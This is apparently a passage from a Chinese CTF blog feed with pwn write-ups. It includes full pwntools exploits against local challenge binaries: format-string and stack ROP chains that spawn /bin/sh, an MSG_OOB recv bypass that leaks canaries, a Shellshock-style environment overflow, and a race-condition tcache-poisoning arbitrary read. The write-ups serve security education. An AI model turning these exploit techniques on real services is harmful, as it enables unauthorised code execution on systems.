parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;thread count&quot;)
args = parser.parse_args()


FILE = &quot;./chall_patched&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def set_args(cnt, *args_values, fmt):
    target.sendlineafter(b&quot;# of args: &quot;, str(cnt).encode())

    for i, val in enumerate(args_values):
        if val is not None:
            prompt = f&quot;args[{i}]: &quot;
            target.sendlineafter(prompt.encode(), str(val).encode())

    # raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;Format string: &quot;, fmt)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target, targets

    if args.L and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.L:
        target = process(FILE)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        targets = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
        target = targets[0]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    set_args(4, 1, 2, 3, 4, fmt=b&quot;%*.*p%*.*p %p&quot;)

    target.recvuntil(b&quot; &quot;)
    stack = int(target.recvline(), 16)
    pie = stack + 0x158
    ret = stack + 0x170

    target.success(f&quot;stack: {hex(stack)}&quot;)
    target.success(f&quot;pie: {hex(pie)}&quot;)
    target.success(f&quot;ret: {hex(ret)}&quot;)

    set_args(1, ret, fmt=b&quot;%s&quot;)
    libc.address = int.from_bytes(target.recv(0x6), &quot;little&quot;) - 0x29D90

    set_args(1, pie, fmt=b&quot;%s&quot;)
    elf.address = int.from_bytes(target.recv(0x6), &quot;little&quot;) - 0x1160

    target.success(f&quot;libc: {hex(libc.address)}&quot;)
    target.success(f&quot;pie: {hex(elf.address)}&quot;)

    pop_rdi_ret = elf.address + 0x0000000000001282
    binsh = next(libc.search(b&quot;/bin/sh&quot;))
    system = libc.sym[&quot;system&quot;]
    align = elf.address + 0x000000000000101A

    set_args(3, pop_rdi_ret &amp;amp; 0xFFFF, 0, ret, fmt=b&quot;%*c%hn&quot;)
    set_args(3, (pop_rdi_ret &amp;gt;&amp;gt; 16) &amp;amp; 0xFFFF, 0, ret + 2, fmt=b&quot;%*c%hn&quot;)
    set_args(3, (pop_rdi_ret &amp;gt;&amp;gt; 32) &amp;amp; 0xFFFF, 0, ret + 4, fmt=b&quot;%*c%hn&quot;)
    set_args(3, binsh &amp;amp; 0xFFFF, 0, ret + 0x8, fmt=b&quot;%*c%hn&quot;)
    set_args(3, (binsh &amp;gt;&amp;gt; 16) &amp;amp; 0xFFFF, 0, ret + 0x8 + 2, fmt=b&quot;%*c%hn&quot;)
    set_args(3, (binsh &amp;gt;&amp;gt; 32) &amp;amp; 0xFFFF, 0, ret + 0x8 + 4, fmt=b&quot;%*c%hn&quot;)
    set_args(3, align &amp;amp; 0xFFFF, 0, ret + 0x10, fmt=b&quot;%*c%hn&quot;)
    set_args(3, (align &amp;gt;&amp;gt; 16) &amp;amp; 0xFFFF, 0, ret + 0x10 + 2, fmt=b&quot;%*c%hn&quot;)
    set_args(3, (align &amp;gt;&amp;gt; 32) &amp;amp; 0xFFFF, 0, ret + 0x10 + 4, fmt=b&quot;%*c%hn&quot;)
    set_args(3, system &amp;amp; 0xFFFF, 0, ret + 0x18, fmt=b&quot;%*c%hn&quot;)
    set_args(3, (system &amp;gt;&amp;gt; 16) &amp;amp; 0xFFFF, 0, ret + 0x18 + 2, fmt=b&quot;%*c%hn&quot;)
    set_args(3, (system &amp;gt;&amp;gt; 32) &amp;amp; 0xFFFF, 0, ret + 0x18 + 4, fmt=b&quot;%*c%hn&quot;)

    target.sendlineafter(b&quot;# of args: &quot;, b&quot;A&quot;)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Stack Prelude&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;It is either easy or impossible.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;比赛期间没做出来，赛后复现的，纯纯的经验题好吧……&lt;/p&gt;
&lt;p&gt;题目源码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;netinet/in.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int main(int argc, char **argv) {
  struct sockaddr_in cli, addr = {0};
  socklen_t clen;
  int cfd, sfd = -1, yes = 1;
  ssize_t n;
  char buf[0x100];
  unsigned short port = argc &amp;lt; 2 ? 31337 : atoi(argv[1]);

  if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) &amp;lt; 0) {
    perror(&quot;socket&quot;);
    goto err;
  }

  if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &amp;amp;yes, sizeof(yes)) &amp;lt; 0) {
    perror(&quot;setsockopt(SO_REUSEADDR)&quot;);
    goto err;
  }

  addr.sin_family = AF_INET;
  addr.sin_addr.s_addr = htonl(INADDR_ANY);
  addr.sin_port = htons(port);

  if (bind(sfd, (struct sockaddr*)&amp;amp;addr, sizeof(addr)) &amp;lt; 0) {
    perror(&quot;bind&quot;);
    goto err;
  }

  if (listen(sfd, 1) &amp;lt; 0) {
    perror(&quot;listen&quot;);
    goto err;
  }

  clen = sizeof(cli);
  if ((cfd = accept(sfd, (struct sockaddr*)&amp;amp;cli, &amp;amp;clen)) &amp;lt; 0) {
    perror(&quot;accept&quot;);
    goto err;
  }

  while (1) {
    n = 0;
    recv(cfd, &amp;amp;n, sizeof(ssize_t), MSG_WAITALL);
    if (n &amp;lt;= 0 || n &amp;gt;= 0x200)
      break;

    recv(cfd, buf, n, MSG_WAITALL);
    send(cfd, buf, n, 0);
  }

  return 0;

err:
  if (sfd &amp;gt;= 0) close(sfd);
  return 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这题是个一次只能处理一个请求的 socket 服务器，先说说我当时取得的成果吧……我是发现可以发送半闭 FIN 包使 &lt;code&gt;recv&lt;/code&gt; 函数不接收完整的数据直接返回，由于没有检查 &lt;code&gt;recv&lt;/code&gt; 函数的返回值，后面的 &lt;code&gt;send&lt;/code&gt; 会泄漏栈数据。&lt;/p&gt;
&lt;p&gt;这里提到的半闭 FIN 包可以通过 &lt;code&gt;target.shutdown(&quot;write&quot;)&lt;/code&gt; 发送关闭输入的半闭包，保留输出，但是这么做的问题就在于，关闭了输入后在 &lt;code&gt;send&lt;/code&gt; 结束回到 while 循环头后 &lt;code&gt;recv&lt;/code&gt; 接收不到数据，返回 0，退出循环，结束程序。所以即使我们泄漏了数据，要是不能继续和程序交互的话也只能是干瞪眼……&lt;/p&gt;
&lt;p&gt;&lt;s&gt;草啊，其实当时是很有希望做出这道题的，但是没有想过我可以给自己发送的数据加 flags，如果能想到这点的话这题就秒了……感觉自己是猪头，我连 FIN 都想到了，就是没想到 flags，这难道不是一个很自然的想法吗？？气死我了 smh（&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;现场学能绕过 &lt;code&gt;MSG_WAITALL&lt;/code&gt; 的方法，总结为如下几种情况：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;对端关闭连接 (FIN)&lt;/li&gt;
&lt;li&gt;对端异常断开 (RST)&lt;/li&gt;
&lt;li&gt;中断信号&lt;/li&gt;
&lt;li&gt;超时（前提是设置了 &lt;code&gt;SO_RCVTIMEO&lt;/code&gt; flag）&lt;/li&gt;
&lt;li&gt;其它奇奇怪怪的致命错误&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;FIN 可以排除了，因为发了这个后续不能继续操作，超时也可以排除，因为没设置这个 flag，我们可以重点研究一下有哪些可以由 client 端发送的 flag 会触发中断信号，这里就不赘述了，直接说结论 —— &lt;code&gt;MSG_OOB&lt;/code&gt;，这个 flag 表示 &lt;code&gt;out-of-band&lt;/code&gt;，如果用在 &lt;code&gt;send&lt;/code&gt;，就代表会使用一个额外的 &lt;code&gt;urgent byte&lt;/code&gt;，表示外带数据，接收端处理 TCP 数据包发现 urgent byte 会触发 &lt;code&gt;SIGURG&lt;/code&gt; 信号，这个信号属于异步事件，可以打断带有 &lt;code&gt;MSG_WAITALL&lt;/code&gt; flag 的 &lt;code&gt;recv&lt;/code&gt; 函数。&lt;/p&gt;
&lt;p&gt;现在我们泄漏了数据，又能维持交互，那剩下的应该没啥好说的了，只需要注意 socket server 需要让 stdin 和 stdout 指向 socket 通道就好了，不然无法和返回的 shell 交互。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    constants,
    context,
    flat,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, action=&quot;store_true&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;thread count&quot;)
args = parser.parse_args()


FILE = &quot;./chall_patched&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.L and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.L:
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(argv, env=envp)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch([FILE, &quot;1337&quot;])

    thread[0].sendline(flat(0x120))
    thread[0].sock.send(b&quot;A&quot; * 2, constants.MSG_OOB)

    resp = thread[0].recv(0x120)
    canary = int.from_bytes(resp[0x108:0x110], &quot;little&quot;)
    libc.address = int.from_bytes(resp[0x118:0x120], &quot;little&quot;) - 0x2A1CA

    thread[0].success(f&quot;canary: {hex(canary)}&quot;)
    thread[0].success(f&quot;libc: {hex(libc.address)}&quot;)

    raw_input(&quot;DEBUG&quot;)
    thread[0].sendline(flat(0x188))

    pop_rdi_ret = libc.address + 0x000000000010F78B
    pop_rsi_ret = libc.address + 0x0000000000110A7D
    binsh = next(libc.search(b&quot;/bin/sh&quot;))
    dup2 = libc.sym[&quot;dup2&quot;]
    system = libc.sym[&quot;system&quot;]
    align = pop_rdi_ret + 1
    payload = flat(
        {
            0x108 - 1: canary,
            0x118 - 1: pop_rdi_ret,
            0x120 - 1: 4,
            0x128 - 1: pop_rsi_ret,
            0x130 - 1: 0,
            0x138 - 1: dup2,
            0x140 - 1: pop_rdi_ret,
            0x148 - 1: 4,
            0x150 - 1: pop_rsi_ret,
            0x158 - 1: 1,
            0x160 - 1: dup2,
            0x168 - 1: align,
            0x170 - 1: pop_rdi_ret,
            0x178 - 1: binsh,
            0x180 - 1: system,
        },
        filler=b&quot;\x00&quot;,
    )
    raw_input(&quot;DEBUG&quot;)
    thread[0].sendline(payload)

    thread[0].sendline(flat(0x200))

    thread[0].interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Stack Impromptu&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The word impossible is not in my dictionary.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;netinet/in.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;

void fatal(const char *msg) {
  perror(msg);
  pthread_exit(NULL);
}

int server_read(int&amp;amp; fd) {
  size_t size;
  char buf[0x40];

  memset(buf, 0, sizeof(buf));
  if (read(fd, &amp;amp;size, sizeof(size)) != sizeof(size)
      || size &amp;gt; 0x100
      || read(fd, buf, size) &amp;lt; size)
    goto err;

  write(fd, buf, size);
  return 0;

err:
  close(fd);
  fatal(&quot;Could not receive data (read)&quot;);
  return 1;
}

void* server_main(void* arg) {
  int fd = (int)((intptr_t)arg);
  while (server_read(fd) == 0);
  return NULL;
}

int main(int argc, char** argv) {
  pthread_t th;
  struct sockaddr_in cli, addr = { 0 };
  socklen_t clen;
  int cfd, sfd = -1, yes = 1;
  unsigned short port = argc &amp;lt; 2 ? 31337 : atoi(argv[1]);

  if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) &amp;lt; 0) {
    perror(&quot;socket&quot;);
    goto err;
  }

  if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &amp;amp;yes, sizeof(yes)) &amp;lt; 0) {
    perror(&quot;setsockopt(SO_REUSEADDR)&quot;);
    goto err;
  }

  addr.sin_family = AF_INET;
  addr.sin_addr.s_addr = htonl(INADDR_ANY);
  addr.sin_port = htons(port);

  if (bind(sfd, (struct sockaddr*)&amp;amp;addr, sizeof(addr)) &amp;lt; 0) {
    perror(&quot;bind&quot;);
    goto err;
  }

  if (listen(sfd, 5) &amp;lt; 0) {
    perror(&quot;listen&quot;);
    goto err;
  }

  while (1) {
    clen = sizeof(cli);
    if ((cfd = accept(sfd, (struct sockaddr*)&amp;amp;cli, &amp;amp;clen)) &amp;lt; 0) {
      perror(&quot;accept&quot;);
      goto err;
    }

    pthread_create(&amp;amp;th, NULL, server_main, (void*)((intptr_t)cfd));
    pthread_detach(th);
  }

  return 0;

err:
  if (sfd &amp;gt;= 0) close(sfd);
  return 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;待复现。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;h1&gt;Stack Rhapsody&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Unknown&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// gcc -Wall -Wextra -fstack-protector-all -fcf-protection=full -mshstk -fPIE -pie -Wl,-z,relro,-z,now chall.c -o chall

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

int main() {
  char buf[0x10000];
  fgets(buf, 0x100000, stdin);
  system(&quot;echo Are you a good pwner?&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看似不可能的挑战，真的，不可能吗？&lt;a href=&quot;https://en.wikipedia.org/wiki/Shellshock_(software_bug)&quot;&gt;Shellshock&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;有时间我会单独写一篇博客详撕源码，这里就只留 exp 了/逃&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    context,
    flat,
    process,
    raw_input,
    remote,
)
from pwnlib.util.iters import pad

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, action=&quot;store_true&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;thread count&quot;)
args = parser.parse_args()


FILE = &quot;./chall&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.L and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.L:
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    env = b&quot;BASH_FUNC_echo%%=() { /bin/sh; }\0&quot;.ljust(0x30, b&quot;\x00&quot;)
    payload = (b&quot;A&quot; * 0xA + env * ((0x10148 - 0xA) // len(env))).ljust(0x10148, b&quot;\x00&quot;)

    target.sendline(payload)
    target.recvuntil(b&quot;Are you a good pwner?&quot;, timeout=0.5)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Scream&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Keep the secret.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;待复现。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;h1&gt;EDU&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;QEMU provides an educational device for learning VM escape.
This bug is intentionally made for educational purpose, right? …… Right?&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.qemu.org/docs/master/specs/edu.html&quot;&gt;https://www.qemu.org/docs/master/specs/edu.html&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;待复现。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
</content:encoded></item><item><title>Write-ups: Software Exploitation (Exploitation Primitives) series (Completed)</title><link>https://cubeyond.net/posts/write-ups/pwncollege-memory-mastery/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/pwncollege-memory-mastery/</guid><description>Write-ups for pwn.college binary exploitation series.</description><pubDate>Fri, 21 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;盲猜这章是 FSOP 综合利用，但是看到第一题就傻眼了。预知后事如何，请看 wp（&lt;/p&gt;
&lt;h1&gt;Level 1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Create and use arbitrary read primitives to read from the .bss.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;本来以为这章顶多就是 Heap + FSOP 综合利用，但是没想到是 Race Conditions + Heap + FSOP……没怎么做过 Race Condition 的我直接人傻了（&lt;/p&gt;
&lt;p&gt;但是我又不想为此先去把 Race Conditions 那章做完，那咋办？忍了呗……相信自己的学习能力&amp;lt;s&amp;gt;/自信&amp;lt;/s&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;敲黑板，像这样详细的 wp 我大概只会写这一次，后面的题就简单说思路，不细写了。&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;首先是下面这个好像很熟悉实则不然的多线程服务器，不讲了（&lt;/p&gt;
&lt;p&gt;不记得的去看我的&lt;a href=&quot;https://www.cubeyond.net/posts/cs-notes/csapp/#network-programming&quot;&gt;笔记&lt;/a&gt;复习吧～&lt;s&gt;其实我一开始也忘差不多了（bushi&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.96a6bgjii4.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;直接跟进到核心函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int challenge()
{
  int result; // eax
  const char *v1; // rax
  int v2; // ebx
  char *s1_1; // rax
  int v4; // [rsp+2Ch] [rbp-424h] BYREF
  char s1[1032]; // [rsp+30h] [rbp-420h] BYREF
  unsigned __int64 v6; // [rsp+438h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  fwrite(&quot;Welcome to the message server!\n&quot;, 1u, 0x1Fu, (FILE *)__readfsqword(0xFFFFFFF8));
  fwrite(&quot;Commands: malloc/free/scanf/printf/send_flag/quit.\n&quot;, 1u, 0x33u, (FILE *)__readfsqword(0xFFFFFFF8));
  while ( 1 )
  {
    result = __isoc99_fscanf(__readfsqword(0xFFFFFFF0), &quot;%1024s&quot;, s1);
    if ( result == -1 )
      break;
    if ( !strcmp(s1, &quot;printf&quot;) )
    {
      result = __isoc99_fscanf(__readfsqword(0xFFFFFFF0), &quot;%d&quot;, &amp;amp;v4);
      if ( result == -1 )
        return result;
      v1 = stored[v4] ? (const char *)*((_QWORD *)&amp;amp;messages + v4) : &quot;NONE&quot;;
      result = fprintf((FILE *)__readfsqword(0xFFFFFFF8), &quot;MESSAGE: %s\n&quot;, v1);
      if ( result &amp;lt; 0 )
        return result;
    }
    else if ( !strcmp(s1, &quot;malloc&quot;) )
    {
      result = __isoc99_fscanf(__readfsqword(0xFFFFFFF0), &quot;%d&quot;, &amp;amp;v4);
      if ( result == -1 )
        return result;
      if ( !stored[v4] )
      {
        v2 = v4;
        *((_QWORD *)&amp;amp;messages + v2) = malloc(0x400u);
      }
      stored[v4] = 1;
    }
    else if ( !strcmp(s1, &quot;scanf&quot;) )
    {
      result = __isoc99_fscanf(__readfsqword(0xFFFFFFF0), &quot;%d&quot;, &amp;amp;v4);
      if ( result == -1 )
        return result;
      if ( stored[v4] )
        s1_1 = (char *)*((_QWORD *)&amp;amp;messages + v4);
      else
        s1_1 = s1;
      __isoc99_fscanf(__readfsqword(0xFFFFFFF0), &quot;%1024s&quot;, s1_1);
    }
    else if ( !strcmp(s1, &quot;free&quot;) )
    {
      result = __isoc99_fscanf(__readfsqword(0xFFFFFFF0), &quot;%d&quot;, &amp;amp;v4);
      if ( result == -1 )
        return result;
      if ( stored[v4] )
        free(*((void **)&amp;amp;messages + v4));
      stored[v4] = 0;
    }
    else if ( !strcmp(s1, &quot;send_flag&quot;) )
    {
      fwrite(&quot;Secret: &quot;, 1u, 8u, (FILE *)__readfsqword(0xFFFFFFF8));
      __isoc99_fscanf(__readfsqword(0xFFFFFFF0), &quot;%1024s&quot;, s1);
      if ( (unsigned __int8)secret_correct(s1) )
      {
        fwrite(&quot;Authorized!\n&quot;, 1u, 0xCu, (FILE *)__readfsqword(0xFFFFFFF8));
        win();
      }
      else
      {
        fwrite(&quot;Not authorized!\n&quot;, 1u, 0x10u, (FILE *)__readfsqword(0xFFFFFFF8));
      }
    }
    else
    {
      result = strcmp(s1, &quot;quit&quot;);
      if ( !result )
        return result;
      fwrite(&quot;Unrecognized choice!\n&quot;, 1u, 0x15u, (FILE *)__readfsqword(0xFFFFFFF8));
    }
  }
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;咋一看还挺安全，没有溢出，没有 UAF，好像无懈可击的鸭子。&lt;/p&gt;
&lt;p&gt;&lt;s&gt;内心 OS: wth 第一题就这样恶心我！？那还学个屁，埋了吧（&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;好吧，稍微用心想想的话，其实还是有很大的问题的……注意，这是一个多线程服务器，允许我们创建无限的连接进行交互，但是程序在操作 &lt;code&gt;stored&lt;/code&gt; 全局数组的时候操作并不是 atomic 的，也没有为其加锁，那那那，na 这不就存在一个潜在的 race condition 吗？并且在这种情况下可以归类为 &lt;code&gt;Time-of-Check to Time-of-Use (TOCTOU)&lt;/code&gt; 型的条件竞争，因为在每次操作前都检查了 stored 数组然后才执行操作，检查和实际 action 之间有一个 tiny gap 可以被利用。最后，又因为 tcache 不检查 chunk metadata，所以接下来打一个 tcache poisoning 就可以任意读了。&lt;/p&gt;
&lt;p&gt;其实我也不是完全不懂 race condition 的 xD，同样，忘记的可以看我&lt;a href=&quot;https://www.cubeyond.net/posts/cs-notes/csapp/#processes&quot;&gt;笔记&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;&lt;s&gt;OK, 讲完了/逃 bro 现在凌晨三点，实在是不想写了，各位师傅还是直接看 exp 吧去感悟吧，反正像这种菜鸟题也没人看（&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    context,
    flat,
    os,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, action=&quot;store_true&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;thread count&quot;)
args = parser.parse_args()


FILE = &quot;/challenge/babyprime_level1.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def printf(tid, idx):
    thread[tid].sendline(f&quot;printf {idx}&quot;.encode())


def malloc(tid, idx):
    thread[tid].sendline(f&quot;malloc {idx}&quot;.encode())


def scanf(tid, idx, content):
    thread[tid].sendline(f&quot;scanf {idx} {content}&quot;.encode())


def free(tid, idx):
    thread[tid].sendline(f&quot;free {idx}&quot;.encode())


def send_flag(tid, secret):
    thread[tid].sendline(b&quot;send_flag&quot;)
    thread[tid].sendlineafter(b&quot;Secret: &quot;, secret)


def quit(tid):
    thread[tid].sendline(b&quot;quit&quot;)


def arbitrary_read(addr):
    while True:
        thread[0].send((b&quot;malloc 0 free 0\n&quot;) * 10000)
        if os.fork() == 0:
            thread[1].send((b&quot;scanf 0&quot; + flat(addr) + b&quot;\n&quot;) * 10000)
            os.kill(os.getpid(), 9)
        os.wait()

        malloc(0, 0)
        printf(0, 0)
        thread[0].recvuntil(b&quot;MESSAGE: &quot;)
        poisoned = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)

        if flat(poisoned) == flat(addr):
            break

    malloc(0, 1)
    printf(0, 1)

    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    return thread[0].recvline().strip()


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target, thread

    if args.L and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.L:
        target = process(FILE)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    malloc(0, 0)
    malloc(0, 1)
    free(0, 1)
    free(0, 0)
    malloc(0, 0)
    malloc(0, 1)

    printf(0, 0)
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    heap = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)

    printf(0, 1)
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    pos = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)
    heap = demangle(heap, pos)

    thread[0].success(f&quot;pos: {hex(pos)}&quot;)
    thread[0].success(f&quot;heap: {hex(heap)}&quot;)

    malloc(0, 0)
    malloc(0, 1)
    free(0, 1)
    free(0, 0)

    raw_input(&quot;DEBUG&quot;)
    secret = 0x4054C0
    secret = arbitrary_read(mangle(pos - 1, secret))

    send_flag(0, secret)
    quit(0)
    quit(1)

    thread[0].interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 2&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Create and use arbitrary read primitives to read from a thread&apos;s heap.&lt;/p&gt;
&lt;/blockquote&gt;
